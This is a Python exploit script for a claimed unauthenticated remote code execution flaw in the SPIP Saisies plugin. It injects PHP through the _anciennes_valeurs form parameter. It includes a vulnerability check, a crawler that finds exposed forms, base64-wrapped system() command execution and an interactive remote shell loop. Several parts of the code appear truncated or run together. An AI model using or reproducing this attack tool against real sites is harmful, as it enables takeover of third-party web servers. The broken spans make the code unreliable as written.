#!/usr/bin/env python3 """ CVE-2025-71243 - SPIP Saisies Plugin RCE Unauthenticated PHP code injection via the _anciennes_valeurs parameter. The saisies plugin (5.4.0 through 5.11.0) interpolates raw user input into a template rendered with interdire_scripts=false, giving direct PHP execution. The target must have a publicly accessible page containing a saisies-powered form (most commonly created with the Formidable plugin). Use --crawl to automatically discover such pages by following internal links. Usage: python3 exploit.py -u http://target/spip.php?page=contact --check python3 exploit.py -u http://target/spip.php?page=contact -c "id" python3 exploit.py -u http://target --crawl -c "id" """ import argparse import base64 import re import sys import urllib.parse from html.parser import HTMLParser import requests requests.packages.urllib3.disable_warnings() BANNER = """ CVE-2025-71243 - SPIP Saisies RCE Unauthenticated PHP code injection via _anciennes_valeurs """ class LinkExtractor(HTMLParser): """Extract all href attributes from anchor tags.""" def __init__(self): super().__init__() self.links = [] def handle_starttag(self, tag, attrs): if tag == "a": for k, v in attrs: if k == "href" and v: self.links.append(v) class Exploit: """CVE-2025-71243 exploit targeting the SPIP Saisies plugin.""" PARAM = "_anciennes_valeurs" MARKER = "CVE202571243" ASSET_RE = re.compile(r"\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml)(\?|$)") OUTPUT_RE = re.compile(r"value='x' />(.*?) requests.Response: return self.session.get(url, timeout=timeout) def _post(self, url: str, data: dict, timeout: int = 30) -> requests.Response: return self.session.post(url, data=data, timeout=timeout) def _origin(self, url: str) -> str: p = urllib.parse.urlparse(url) return f"{p.scheme}://{p.netloc}" def _has_form(self, html: str) -> bool: return self.PARAM in html def _inject(self, php_code: str) -> str: return f"x' /> str: """Execute a shell command and return its output.""" b64 = base64.b64encode(cmd.encode()).decode() payload = self._inject(f"system(base64_decode('{b64}'));") r = self._post(url, data={self.PARAM: payload}) return self._extract_output(r.text) def shell(self, url: str) -> None: """Interactive shell loop.""" print("[*] Shell ready. Type 'exit' to quit.\n") while True: try: cmd = input("$ ").strip() except (EOFError, KeyboardInterrupt): print() break if not cmd or cmd == "exit": break output = self.execute(url, cmd) if output: print(output) def main(): print(BANNER) p = argparse.ArgumentParser(description="CVE-2025-71243 - SPIP Saisies RCE") p.add_argument("-u", "--url", required=True, help="Target URL (form page, or base URL with --crawl)") p.add_argument("-c", "--command", help="Single command to execute") p.add_argument("--check", action="store_true", help="Only check vulnerability") p.add_argument("--crawl", action="store_true", help="Crawl the site to discover a saisies form") p.add_argument("--proxy", help="HTTP proxy (http://host:port)") args = p.parse_args() exploit = Exploit(proxy=args.proxy) url = args.url # Detect saisies plugin before crawling version = exploit.detect_saisies(url) if version: if exploit.is_vulnerable_version(version): print(f"[+] Saisies plugin detected: v{version} (vulnerable)") else: print(f"[-] Saisies plugin detected: v{version} (not vulnerable)") sys.exit(1) else: print("[*] Saisies plugin not detected via Composed-By/config.txt") if args.crawl: print(f"[*] Crawling {url} ...") found = exploit.crawl(url) if not found: print("[-] No saisies form found on target.") sys.exit(1) print(f"[+] Found form: {found}") url = found else: print(f"[*] Target: {url}") if not exploit.check(url): print("[-] Not vulnerable or no saisies form at this URL.") sys.exit(1) print("[+] Vulnerable!") if args.check: sys.exit(0) if args.command: print(exploit.execute(url, args.command)) sys.exit(0) exploit.shell(url) if __name__ == "__main__": main()